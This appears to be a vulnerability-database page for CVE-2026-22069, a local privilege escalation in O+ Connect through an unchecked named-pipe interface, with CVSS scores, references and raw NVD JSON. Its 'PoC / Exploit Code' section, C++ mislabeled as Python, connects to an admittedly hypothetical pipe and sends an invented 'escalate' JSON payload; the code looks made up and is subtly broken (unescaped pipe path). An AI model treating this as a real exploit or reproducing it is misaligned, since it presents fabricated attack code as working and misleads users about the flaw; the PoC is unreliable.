CVE-2026-22069

Description

A local privilege escalation vulnerability exists in O+ Connect because it fails to validate the identity of the caller on the pipe interface.

CVSS Details

CVSS Score

7.3

Severity

HIGH

CVSS Vector

CVSS:3.1/AV:L/AC:L/PR:L/UI:R/S:C/C:L/I:L/A:H

Configurations (Affected Products)

No configuration data available.

O+ Connect (所有版本，直至修复补丁发布)

PoC / Exploit Code

⚠ For Security Research Only

The following code is for security research and authorized testing only.

python

#include <windows.h>
#include <iostream>

// PoC for CVE-2026-22069: O+ Connect Local Privilege Escalation
// This code demonstrates connecting to the vulnerable pipe and sending a command.

int main() {
    LPCWSTR pipeName = L"\\.\pipe\OPlusConnectService"; // Hypothetical pipe name
    HANDLE hPipe;

    std::cout << "[*] Connecting to pipe: " << pipeName << std::endl;

    // Attempt to connect to the named pipe
    hPipe = CreateFileW(
        pipeName,
        GENERIC_READ | GENERIC_WRITE,
        0,
        NULL,
        OPEN_EXISTING,
        0,
        NULL
    );

    if (hPipe == INVALID_HANDLE_VALUE) {
        std::cerr << "[-] Failed to connect to pipe. Error: " << GetLastError() << std::endl;
        return 1;
    }

    std::cout << "[+] Connected to pipe successfully." << std::endl;

    // Send a malicious payload to trigger the escalation
    // The service fails to validate the caller identity here
    char payload[] = "{\"action\":\"escalate\",\"target\":\"system\"}";
    DWORD bytesWritten;

    BOOL result = WriteFile(
        hPipe,
        payload,
        (DWORD)strlen(payload),
        &bytesWritten,
        NULL
    );

    if (result) {
        std::cout << "[+] Payload sent successfully. Check privileges." << std::endl;
    } else {
        std::cerr << "[-] Failed to send payload." << std::endl;
    }

    CloseHandle(hPipe);
    return 0;
}

References

[1] CVE.org https://www.cve.org/CVERecord?id=CVE-2026-22069
[2] NVD NIST https://nvd.nist.gov/vuln/detail/CVE-2026-22069
[3] CVE Details https://www.cvedetails.com/cve/CVE-2026-22069/
[4] VulDB https://vuldb.com/cve/CVE-2026-22069
[5] https://security.oppo.com/en/noticeDetail?notice_only_key=NOTICE-2056566978633801728

Raw JSON Data

JSON

{"cve": {"id": "CVE-2026-22069", "sourceIdentifier": "[email protected]", "published": "2026-05-19T04:16:25.963", "lastModified": "2026-05-19T14:50:07.413", "vulnStatus": "Deferred", "cveTags": [], "descriptions": [{"lang": "en", "value": "A local privilege escalation vulnerability exists in O+ Connect because it fails to validate the identity of the caller on the pipe interface."}], "metrics": {"cvssMetricV31": [{"source": "[email protected]", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:L/AC:L/PR:L/UI:R/S:C/C:L/I:L/A:H", "baseScore": 7.3, "baseSeverity": "HIGH", "attackVector": "LOCAL", "attackComplexity": "LOW", "privilegesRequired": "LOW", "userInteraction": "REQUIRED", "scope": "CHANGED", "confidentialityImpact": "LOW", "integrityImpact": "LOW", "availabilityImpact": "HIGH"}, "exploitabilityScore": 1.5, "impactScore": 5.3}]}, "weaknesses": [{"source": "[email protected]", "type": "Secondary", "description": [{"lang": "en", "value": "CWE-266"}]}], "references": [{"url": "https://security.oppo.com/en/noticeDetail?notice_only_key=NOTICE-2056566978633801728", "source": "[email protected]"}]}}